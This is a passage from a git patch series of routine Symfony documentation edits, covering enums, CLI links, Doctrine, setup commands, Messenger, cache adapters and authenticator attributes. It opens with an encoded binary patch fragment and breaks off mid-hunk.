z_VS{*^UkU3p9dO`-UZWMY&Nw$#n$RZMSdYakv1UUEVyOpfvaDux9kGJ!z2bbmBwpY
zDqx6)i~L2XFkli$piugE`%nQkA4s=k^dIF}G$Uiy6eS`JBMRevMnT}(|De_9w{$NK
zl5^ccLyJ~5eyGP}`~qZL9ecySsp=G&Fu?+J=mv+Tsq-*}rd-R*d(O+Vef6SUZ^M->
zMh_^~1-J(GkV=@S{cl$}y^nm^!}Y-J)|Tae+EV<J3h>(yumv%>z1ck<+gCC|_Rkji
z7X8>i{)1+q--ZZvB?_(uyap%u$C^@c)@9PhS=r~~Gu^%do%Vi`t8rRXuFc7|sWgQ^
zFG2;ONh}Q_X-cl=7$xD{lHhMJLMUM%@#mpEFmm4sOY^2KE^!2eX5`0oJ_Zm#1Ote4
z$Bx|fmMx{z?MfCFZ=+xdiz5IU{-RmfruR32VZV^`|17GeYa`XIxcLS}jlHTImP4xs
zf{v0Id8=}HU|nkUQ}^e)A63GTuZS8ybSW1F7YDRbU0sEoy0UV5e*iofjIH4(&ec9j
z=5MP<E|+6O2Ocb<C)`v)s-$>qm(}~RES#K1sX~Tbet_R1<N)csQG?}w6Z1s6as_&1
zh^`qJkBclRG-V+QAD2P2cie`UW(v<A)L(+7r|M_w6iKNqvgH2#=sTxyVTF)%VueZ<
z9<aE~v)XbS?dEx}ScLYo0PjN7*}X(4E?~&CE2yKGw~>84D?g<P&j$#{a%0u~!%-s7
z^tp3Stqbq9vG&ut1s)%!&GDcFU92_N72aHXKR3}?7vsz}b-KaZ>vukyWYpcQHv2bE
z&GZ;<ScN*skAOBf{_suT%GvWKL;FilGSx6L5hUtg2ig#PPfKLCgkhGWv_NEA*fFT{
zKvel2k%|i-Xof(*NU$Ih?O&p1rT-_a<HzvA+qp%t11NRfE?WTWr%PPfoB+FgU~=^h
zBdiTtlLi2?AtROnUx85Rkj+TCPpPLi;xLdf(?R%R-<jP#alhr{5foaLH_R4ZoFR(I
zO#OWXu7&it^eXRvptfIulSI5FmcJ9+#$GjOjw`N2-?<HyYn4M?(OswnH_eVQsrN(u
zh13h~P@a8L75H|_N*^HM1h+}!{v7^*`3tcJbqAhAI(pr|4eKHpG0*%5+IkyW*%Ba2
z#HeH{K73FV3&P}Zt2B{i3UAi{Os{)AlJn8zT_#;=!w=krWBX<xaOklE$;^c@Hh0SR
zM5pA1Fe<=_e1yA&Vgf;>{&kE8!6Ars#s*RF<EZ^bT|lYa2wSlf8qPp_3TL1V7}lPD
z@5P*sgT8|j!qB8;{}XFgZugAbTW~dF+^x@tzI41{ATSzOXmeH2+y~~t?5>y=Ae%X!
z=q}SZZHmev7^ayD$te)BmxvW+Sj`oP!&<QKsDvEu5sx4$6U3r1$z9Jyp-eoFSG}jc
zeESn7D`kGSnRH-C0n3@Ovg(lXv#(s$^G+4SBzf0J|Lh0(2YRGqHV+j!@L={X!nP{E
z-$}AqZ_`*JEav}f@64l`xb`?cnG8uVEFl369w8xwh!&AW3dj~9VggYRT(Ct6i-?F7
zNUVq~Ay5d4EU6+ONDwTz6;MIJEnsAEfrPqOZ4}X<PenupL3k6?9+&E&?|I&NfArj(
zlbMq{cV_Orll#l>_xpZgEVVCFJBPJO>^3v`aTE}kt<E62v4ZmFiSDvi(7uLJ8kC>P
zn3=cnA^fau8gDpn684a}{A&!(+P+8zz>3O&{40}uYa=dgp+wW<6w|Jw;Y~2^xPF(`
zZNBMzXqxWamphj`&uYQ|L7;vZ7EjaYH!=vAd8oNaAOmu(g%Y5~CJ1&ycLW2$Q2=hR
z=bgZTXq1Ac(;-%2zVUZy#xu8OZJM|G`+KZ$#)bGqKt$e-_W?s!(&<D95`eQVJ@PK0
z`Jl;YJWv^Ldl;ghV=Sh`dy0Ysc6|*k`Of66ODqE}f#ZzOeT}Ex32FLkaQ$9roJJa*
zTABuyi_kZ3;P9AM(=BVEC*gXB*i58F5dUB9Q+ydKK9!!2+roIKujVlc0!%Z3=&{Bk
zu?h4V!c8|1sIZXt*{AnS1@6SU55x@S6}yHIsDS25(A^c|xAio-_0_Y2@y=h=(LOT^
zVlr?67bTaD1WHdL&g={4<!41}N^c@_WZvws)M|sD%FceAqWXEa{--AUJEg9&T`;5I
zD6ELz?*a>2XD#Yf(>WHZ^vuC6oEq88xGRiowKPT1Ik!7spEjOIEac8hs}6Du(9fcB
zXWg6J%G3f7DGJMK9G+R;(TWu2_rO$J4EzG}C9GfAcwjQdAes!L<>&xff=SS5qmq$@
zPCxxn^JS?W{59+@tgv(0X}JF@7)Fshh$;kvcY_LnAR~kmw7qZE)iLX*cih?VC0#hY
zbgoG$&}9S#htW)hG`zZgXhxTYugT^0*8CWhz2Cmp8}XST0WwQHR&a=vwBaLN%NL?n
zpZG5RL;%nN0?J}8R!{Y4r)pWdZl<s^@V}(&ziRo&_(kpzb0E9B_D(#()UheFybYla
z;0ld&v=AB<6uxOHE{?ceX-7L4%3<dr@Ifeac8wYcFOFEYyKD9`?GMYM=21Wx_vHE6
z5W{1A!FPJw`R2kjPy-`HscR2>L75FN;braIB&9T^K(eH3xb17qz%~wdyID7bIlL{f
z_Y3mNzmu!;rC(rwLOA@Vbf2?dfOj!jGW_LP@Sph5KXH-$$;ik<+b7j$xun~Sgv1=L
zuksV^8!`C2to-j}T8+mzt7A58spW?Mg5<!d&79z~I(e+tZ*wFBZr~MSvlbBFI9nIw
z;Pr{Qm|CA$vU-J;+B8d3C#v^POVMg>?hI^^Y)*9YWvE=AuU>#mDg9J>P4XrMj?^6o
z`2cx>j^!q55&c}N7I#PJ|8itMgID?b*}&uK@&8JK|Jlr(K?)roMHu{URrZCq<Qa;O
zTICUe9OeP&=)VVMc&iDegRaRHCAla1)`C*otE;%4ih~S3RWY^iFr13=h6r<zk;B&t
zf1%g#0TqBiA6Z-&@(d=_yc0sJjN}|772(%-;#8G=I~#%J%BHu5xe?>bM&N%434F3z
zLMD<o2{5nj|G~JO9!&q1^UPxuC@Z?}@cL0KN^@D3ap6osOFy@$JLyDKXLnNZf!Fr!
zIB?lj){Pg3vU!djDdLsG_3cZBu0KsdE85SWeB3}mlJ%^f3QKmJ>S^b08+mb@%&)AM
zFOE-~TcAqpFRFT3tH8NKIzFzXK*th>2qSyh`+Mtl_#70de%11;FOF+B>@2R?ax8ch
zsIZr?kcLr9dh7!p^(K`SDd+=+9U4h+6mL1VC|uw{4tBKqaX^`)4>)Xlb*tmmv!c7w
zqqY?-NhOotKNoHtfwT<o3pfpMSxIy4n*gt4>JB?EM?X$4=;djs?pI+%Z#km9?|IRE
zyA}I4G(_w>()FsooeOBUoVcRQY*aPB{z(6Q`?I6K#^p5TzL<f>%nLqvSCahAJ%Sic
zbrdCJ*L*tqlvcQ^!zfUS&hCxu7sq2xwO@ui8!-Xp_~iOcgExXstUs1$5t-3InPzDy
zzTbs;?(<<Ga~k<je!g96k5M{(633V`v^Ly_17i3zu3LUF)Mg!Fxc7rn_Igch0^~L?
zQK#lo8zY513ZTAe))fN=Xlq%KnlA15pnpyje~R7=boY)Ol^>q$xerl7qXP}PShc*%
zR{P=UgN&9TtdI!#9%Bm2Z`RNB(}xp^KTfW31rPv+gY(A|StgksZU;f5OJ0uw6l_3X
zX>sRg;`4s}-~#s=?t)4uYXXU`8YyidkpGHRb~zT@d}N)q0Xo*?hS~wkQ6P+;{QL&M
z3w2ug(V=^>Kmi6S$B3kwfnj_&DvPjnoD1ad0a?^`PleF~qX(t$msUFk3b#NLNkf6l
zH<rp62qB)I0a{ZK)NOk@1zrTJ+wa$gx5Zw@;SL$u*t@pS3X_@|s)oK~o2y%kSo^+(
z;Wtg*_tLQaMYe}O$`=x<1CS*^<lq(nT^@o$r7(=6&lhvfXJKlo!Z_jE+RC@@RqzT9
zPEeHFqvmK@=x%RPVvsl!qy}h|%Mc~<YQ3oWV}ladl;wJUW6+JahvTak^%|U>pc{3D
zO!n|y%DF~w6Qi&QGpv*5*hI4SK??TTO`jdOu8yhQkQH34-SE4~*oOJcW>1oLADQEf
zcHjK8(}kOu{@bvSsGZ!YSS@qm#urS{jGOy-t?X4&E)vl@J3upT@)&$8OpI1r7`2dh
z@?m5SY2B1Fvq|gfJjXTy0yDQdm)xaG;<eHzb(JUHd#znDh_fIecT28_6YmXL*-h@x
zzVSzC|0qB~Ar-u%llyJPz+M;VS`#W2l|2cUuaTV}*l*%FKaAY!{J^>FhwYQPOx`w9
zdS;-9RDa67XM~}Fmh?o~DB(S?jB6ds3{fYHU)m}YTw0U)0|w@(6K`&PHUwBv5?Y0W
zTw;A{v5}iv0pnuzZ1gQ&ix?dR1(**l2V7}DnmB{aPMHxcr8Q9Z6d<hT=h}d=YRMA8
zGMnbPrPJo9XM5m^ZD>jP;60iHkLkPz>C3K`4)E!wK(&%E4UZ_}RVB~(z6Y;EF4c3y
zsB=Q^%Rob_;3RM8t{CA*1|q;YTd=VW540IfK;%RGx$#74)@HiJhAR4X1$iEZtTc3q
z?ay=qkbd^1d;eu7hR1`R9KhPbM5JlXu())jGnjn~GZ8^^*I2^sk3$3z4^#j;Xm8`1
zGt2vwB7}&4vG-B0!b^llTrG|xoFu#R(YSWPW1e3~Ip@JvfOzNn8E7T{nY<_l=b5wc
zbwWs|x^$u;rM&je8n&*w6%S;3O!qphpp)yhQR$jVE!m7QKa98G6+R<ekJ0vajFg)6
z%X%b;ov=QZH-;!G74Ty(4vX4ad?N_PyG$Dil~kKW?cL^^R0t!ldp}x#drJo9<UEoY
zr7l3@+|kknKtDh#9-5f$p{hYYh>Bo&r>D(2GAA4b4W(R7opZ@mc~<pN%%twkn<Wc@
z2~pb<`x5YGsS)bXaFsl+c(w|Sw402V!?F7fiIAS0j1xi;+GS^VPf)j|)E)cHFjIAD
zsl!u!S>C$6aplh=dHzfHYc!Ie7=QhpB30v_fREAnFjn6h^9+#5$Xj4kxYf%^*7wRv
z^_i<=*Wy%>na`<P26zO7Ys^I@9q1N%I!v9EnSXne^kL#y`zd&WU9oqhXD@oaTyj2B
z3)+Br=ojszuevyM@7`N71mKW3pZd~TE_Tv_T~(046TdW=6jMIDAw;gKG!2ng(nj^q
zF@I`RGFQc<d!0R^!jgy+rT=g#|KU>p6_@g_$fc43vq{_`0}vramP;INf4n6Av;TkD
X1N&e@3_$U<_~;*|g(nRcjb8gVC~13+


From 132e0b962a1bf64f2a127871a19a01cc19fd4cc5 Mon Sep 17 00:00:00 2001
From: Einenlum <yann.rabiller@gmail.com>
Date: Fri, 31 Dec 2021 11:38:38 +0100
Subject: [PATCH 2915/7107] Use a backed string enum in the EnumType example

A backed enum must declare the type of backed enum. Not declaring it is
not valid.
---
 reference/forms/types/enum.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 51fefe016f0..4e598f44e81 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -36,7 +36,7 @@ short) defined somewhere in your application. This enum has to be of type
     // src/Config/TextAlign.php
     namespace App\Config;
 
-    enum TextAlign
+    enum TextAlign: string
     {
         case Left = 'Left/Start aligned';
         case Center = 'Center/Middle aligned';

From cdabcf913a546706a7c6241ddf77c11445f850b1 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 31 Dec 2021 13:12:28 +0100
Subject: [PATCH 2916/7107] Reference the open sourced Symfony CLI code

---
 setup.rst                | 7 +++----
 setup/symfony_server.rst | 7 +++----
 2 files changed, 6 insertions(+), 8 deletions(-)

diff --git a/setup.rst b/setup.rst
index 795c9349437..dfc5f8fc303 100644
--- a/setup.rst
+++ b/setup.rst
@@ -39,9 +39,8 @@ requirements. Open your console terminal and run this command:
 
 .. note::
 
-    The Symfony binary is developed internally at Symfony. If you want to
-    report a bug or suggest a new feature, please create an issue on
-    `symfony/cli`_.
+    The Symfony CLI is written in Go and you can contribute to it in the
+    `symfony-cli/symfony-cli GitHub repository`_.
 
 .. _creating-symfony-applications:
 
@@ -310,7 +309,7 @@ Learn More
 .. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony
 .. _`Install Composer`: https://getcomposer.org/download/
 .. _`install Symfony CLI`: https://symfony.com/download
-.. _`symfony/cli`: https://github.com/symfony/cli
+.. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index ff2d060a5cb..2c55dcc77e3 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -19,9 +19,8 @@ The Symfony server is part of the ``symfony`` binary created when you
 
 .. note::
 
-    The Symfony binary is developed internally at Symfony. If you want to
-    report a bug or suggest a new feature, please create an issue on
-    `symfony/cli`_.
+   You can view and contribute to the Symfony CLI source in the
+   `symfony-cli/symfony-cli GitHub repository`_.
 
 Getting Started
 ---------------
@@ -421,7 +420,7 @@ debug any issues.
 `Read SymfonyCloud technical docs`_.
 
 .. _`install Symfony`: https://symfony.com/download
-.. _`symfony/cli`: https://github.com/symfony/cli
+.. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
 .. _`Docker`: https://en.wikipedia.org/wiki/Docker_(software)
 .. _`SymfonyCloud`: https://symfony.com/cloud/
 .. _`Read SymfonyCloud technical docs`: https://symfony.com/doc/master/cloud/intro.html

From c3f359ee1024d0bbc4d5ead6a4be83f41075a641 Mon Sep 17 00:00:00 2001
From: Samuel NELA <hello@samnela.com>
Date: Fri, 31 Dec 2021 23:40:24 +0100
Subject: [PATCH 2917/7107] [Doctrine] use executeQuery instead of execute

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 3b6a5b46cdd..f04a98c53d9 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -851,7 +851,7 @@ In addition, you can query directly with SQL if you need to::
                 ORDER BY p.price ASC
                 ';
             $stmt = $conn->prepare($sql);
-            $stmt->execute(['price' => $price]);
+            $stmt->executeQuery(['price' => $price]);
 
             // returns an array of arrays (i.e. a raw data set)
             return $stmt->fetchAllAssociative();

From 2bb4dedd19ede2fb52e61b790cb8ec87445bed95 Mon Sep 17 00:00:00 2001
From: Daniel Klein <danielklein@airpost.net>
Date: Sun, 2 Jan 2022 11:09:36 +1100
Subject: [PATCH 2918/7107] Clarify instructions by changing project name to
 project directory

---
 best_practices.rst |  2 +-
 setup.rst          | 20 ++++++++++----------
 2 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 3ddb7aa67ac..dcc0d9eb3f2 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -30,7 +30,7 @@ to create new Symfony applications:
 
 .. code-block:: terminal
 
-    $ symfony new my_project_name
+    $ symfony new my_project_directory
 
 Under the hood, this Symfony binary command executes the needed `Composer`_
 command to :ref:`create a new Symfony application <creating-symfony-applications>`
diff --git a/setup.rst b/setup.rst
index 795c9349437..ad7d3de15b2 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=4.4 --full
+    $ symfony new my_project_directory --version=4.4 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_directory --version=4.4
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -69,13 +69,13 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/website-skeleton:"^4.4" my_project_directory
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/skeleton:"^4.4" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
-will create a new ``my_project_name/`` directory, download some dependencies
+will create a new ``my_project_directory/`` directory, download some dependencies
 into it and even generate the basic directories and files you'll need to get
 started. In other words, your new application is ready!
 
@@ -258,20 +258,20 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
 .. code-block:: terminal
 
     # use the most recent LTS version
-    $ symfony new my_project_name --version=lts
+    $ symfony new my_project_directory --version=lts
 
     # use the 'next' Symfony version to be released (still in development)
-    $ symfony new my_project_name --version=next
+    $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_directory --version=4.4
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/skeleton:"^4.4" my_project_directory
 
 The Symfony Demo application
 ----------------------------
@@ -284,7 +284,7 @@ Run this command to create a new project based on the Symfony Demo application:
 
 .. code-block:: terminal
 
-    $ symfony new my_project_name --demo
+    $ symfony new my_project_directory --demo
 
 Start Coding!
 -------------

From 12f72b612da0e9929121f9e7ca2d81dbcc5e2551 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@elao.com>
Date: Mon, 3 Jan 2022 11:56:05 +0100
Subject: [PATCH 2919/7107] [HttpKernel] Add a controller argument resolver for
 backed enums

---
 controller/argument_value_resolver.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index da212517f0c..038cba4dbfe 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -20,6 +20,10 @@ Built-In Value Resolvers
 Symfony ships with the following value resolvers in the
 :doc:`HttpKernel component </components/http_kernel>`:
 
+:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\BackedEnumValueResolver`
+    Attempts to resolve a backed enum case from a route path parameter that matches the name of the argument.
+    Leads to a 404 Not Found response if the value isn't a valid backing value for the enum type.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver`
     Attempts to find a request attribute that matches the name of the argument.
 

From ceedccae7c74573f20d00363c3f7b99d6e07b913 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 3 Jan 2022 15:08:35 +0100
Subject: [PATCH 2920/7107] Explaining how to inject the form factory

The other sentence I deleted was just repeating what was already said a few lines above.
---
 components/form.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index dfbcfdfdcb4..0f3f0fdfa9d 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -370,10 +370,6 @@ you need to. If your application uses global or static variables (not usually a
 good idea), then you can store the object on some static class or do something
 similar.
 
-Regardless of how you architect your application, remember that you
-should only have one form factory and that you'll need to be able to access
-it throughout your application.
-
 .. _component-form-intro-create-simple-form:
 
 Creating a simple Form
@@ -382,7 +378,8 @@ Creating a simple Form
 .. tip::
 
     If you're using the Symfony Framework, then the form factory is available
-    automatically as a service called ``form.factory``. Also, the default
+    automatically as a service called ``form.factory``, you can inject it as
+    ``Symfony\Component\Form\FormFactoryInterface``. Also, the default
     base controller class has a :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::createFormBuilder`
     method, which is a shortcut to fetch the form factory and call ``createBuilder()``
     on it.

From ef2a80307f1ba5e6c2fdf7baff33246b4192d2cd Mon Sep 17 00:00:00 2001
From: Nicolas PHILIPPE <nikophil@gmail.com>
Date: Mon, 3 Jan 2022 17:06:26 +0100
Subject: [PATCH 2921/7107] [Messenger] document SerializedMessageStamp

---
 messenger.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 6f6ca0caa55..d9f6350420d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -839,6 +839,15 @@ this is configurable for each transport:
     Symfony triggers a :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
     when a message is retried so you can run your own logic.
 
+.. note::
+
+    Thanks to :class:`Symfony\\Component\\Messenger\\Stamp\\SerializedMessageStamp` the serialized form of the message
+    is saved, which prevents to serialize it again if the message is retried.
+
+    .. versionadded:: 6.1
+
+        The ``SerializedMessageStamp`` class was introduced in Symfony 6.1.
+
 Avoiding Retrying
 ~~~~~~~~~~~~~~~~~
 

From 2a9d69cb364243babfd19c65e1882cedc37a1598 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Sat, 1 Jan 2022 14:20:39 +0100
Subject: [PATCH 2922/7107] Update Checking Security Vulnerabilities doc part

---
 setup.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/setup.rst b/setup.rst
index 795c9349437..ada351b13f4 100644
--- a/setup.rst
+++ b/setup.rst
@@ -225,15 +225,11 @@ require --no-unpack ...`` option to disable unpacking.
 Checking Security Vulnerabilities
 ---------------------------------
 
-The ``symfony`` binary created when you `install Symfony CLI`_ provides a command to
-check whether your project's dependencies contain any known security
-vulnerability:
+A good and recommended security practice is to check from time to time whether your
+project's dependencies contain any known security vulnerability. You can leverage the
+`Local PHP Security Checker`_ to do so.
 
-.. code-block:: terminal
-
-    $ symfony check:security
-
-A good security practice is to execute this command regularly to be able to
+You can also execute this process regularly to be able to
 update or replace compromised dependencies as soon as possible. The security
 check is done locally by fetching the public `PHP security advisories database`_,
 so your ``composer.lock`` file is not sent on the network.
@@ -314,6 +310,7 @@ Learn More
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories
+.. _`Local PHP Security Checker`: https://github.com/fabpot/local-php-security-checker
 .. _`Symfony releases`: https://symfony.com/releases
 .. _`Main recipe repository`: https://github.com/symfony/recipes
 .. _`Contrib recipe repository`: https://github.com/symfony/recipes-contrib

From 659c49099880df722e0966c50492add95dd913b6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Jan 2022 17:40:18 +0100
Subject: [PATCH 2923/7107] Fix minor typo

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index 7bb142bf421..1182f7d89b4 100644
--- a/setup.rst
+++ b/setup.rst
@@ -225,7 +225,7 @@ Checking Security Vulnerabilities
 ---------------------------------
 
 A good and recommended security practice is to check from time to time whether your
-project's dependencies contain any known security vulnerability. You can leverage the
+project's dependencies contain any known security vulnerabilities. You can leverage the
 `Local PHP Security Checker`_ to do so.
 
 You can also execute this process regularly to be able to

From 4fe62c6f261c07310885dd11a4255ae625c8d597 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Jan 2022 17:55:06 +0100
Subject: [PATCH 2924/7107] Add a code example for the BackendEnum argument
 resolver

---
 controller/argument_value_resolver.rst | 32 ++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 038cba4dbfe..aae76b0da1c 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -24,6 +24,38 @@ Symfony ships with the following value resolvers in the
     Attempts to resolve a backed enum case from a route path parameter that matches the name of the argument.
     Leads to a 404 Not Found response if the value isn't a valid backing value for the enum type.
 
+    For example, if your backed enum is::
+
+        namespace App\Model;
+
+        enum Suit: string
+        {
+            case Hearts = 'H';
+            case Diamonds = 'D';
+            case Clubs = 'C';
+            case Spades = 'S';
+        }
+
+    And your controller contains the following:
+
+        class CardController
+        {
+            #[Route('/cards/{suit}')]
+            public function list(Suit $suit): Response
+            {
+                // ...
+            }
+
+            // ...
+        }
+
+    When requesting the ``/cards/H`` URL, the ``$suit`` variable will store the
+    ``Suit::Hearts`` case.
+
+    .. versionadded:: 6.1
+
+        The ``BackedEnumValueResolver`` was introduced in Symfony 6.1.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver`
     Attempts to find a request attribute that matches the name of the argument.
 

From e7731df239ad1a36089983054fb236f95936b535 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Jan 2022 17:55:51 +0100
Subject: [PATCH 2925/7107] Fix a code syntax error in the previous commit

---
 controller/argument_value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index aae76b0da1c..79cfc9abb6d 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -36,7 +36,7 @@ Symfony ships with the following value resolvers in the
             case Spades = 'S';
         }
 
-    And your controller contains the following:
+    And your controller contains the following::
 
         class CardController
         {

From 0ec5a2cff34dd84e50263efb591d4ba079f7f653 Mon Sep 17 00:00:00 2001
From: Rosemary Orchard <16113535+RosemaryOrchard@users.noreply.github.com>
Date: Mon, 3 Jan 2022 20:05:07 +0000
Subject: [PATCH 2926/7107] [Cache] Fix Cache Couchbase duplicate page titles

---
 components/cache/adapters/couchbasebucket_adapter.rst     | 2 +-
 components/cache/adapters/couchbasecollection_adapter.rst | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 9ab637eb38b..898f06c45a4 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -4,7 +4,7 @@
 
 .. _couchbase-adapter:
 
-Couchbase Cache Adapter
+Couchbase Bucket Cache Adapter
 =======================
 
 .. versionadded:: 5.1
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index f3aff72e6ac..23cd24d565b 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -4,12 +4,12 @@
 
 .. _couchbase-collection-adapter:
 
-Couchbase Cache Adapter
+Couchbase Collection Cache Adapter
 =======================
 
 .. versionadded:: 5.4
 
-    The Couchbase Cache Adapter was introduced in Symfony 5.4.
+    The CouchbaseCollectionAdapter was introduced in Symfony 5.4.
 
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the

From 2a4693f8f5447c98752232feeb5d9d555836196e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jan 2022 13:20:09 +0100
Subject: [PATCH 2927/7107] Minor tweaks

---
 components/cache/adapters/couchbasebucket_adapter.rst     | 4 ++--
 components/cache/adapters/couchbasecollection_adapter.rst | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 898f06c45a4..cc99db1c967 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -5,11 +5,11 @@
 .. _couchbase-adapter:
 
 Couchbase Bucket Cache Adapter
-=======================
+==============================
 
 .. versionadded:: 5.1
 
-    The CouchbaseBucketAdapter was introduced in Symfony 5.1.
+    The Couchbase Bucket adapter was introduced in Symfony 5.1.
 
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 23cd24d565b..100acf14faa 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -5,11 +5,11 @@
 .. _couchbase-collection-adapter:
 
 Couchbase Collection Cache Adapter
-=======================
+==================================
 
 .. versionadded:: 5.4
 
-    The CouchbaseCollectionAdapter was introduced in Symfony 5.4.
+    The Couchbase Collection adapter was introduced in Symfony 5.4.
 
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the

From d913e63460137291bd357ade245de8d71e9e804b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jan 2022 15:46:23 +0100
Subject: [PATCH 2928/7107] [Security] Move Passport Attributes to their own
 section

---
 security/custom_authenticator.rst | 52 +++++++++++++++----------------
 1 file changed, 26 insertions(+), 26 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index cd18e7bbd81..bc5a8ea7b30 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -342,39 +342,39 @@ would initialize the passport like this::
         }
     }
 
-.. tip::
+Passport Attributes
+-------------------
 
-    Besides badges, passports can define attributes, which allows the
-    ``authenticate()`` method to store arbitrary information in the
-    passport to access it from other authenticator methods (e.g.
-    ``createAuthenticatedToken()``)::
+.. versionadded:: 5.2
 
-        // ...
-        use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+    Passport attributes were introduced in Symfony 5.2.
 
-        class LoginAuthenticator extends AbstractAuthenticator
-        {
-            // ...
+Besides badges, passports can define attributes, which allows the ``authenticate()``
+method to store arbitrary information in the passport to access it from other
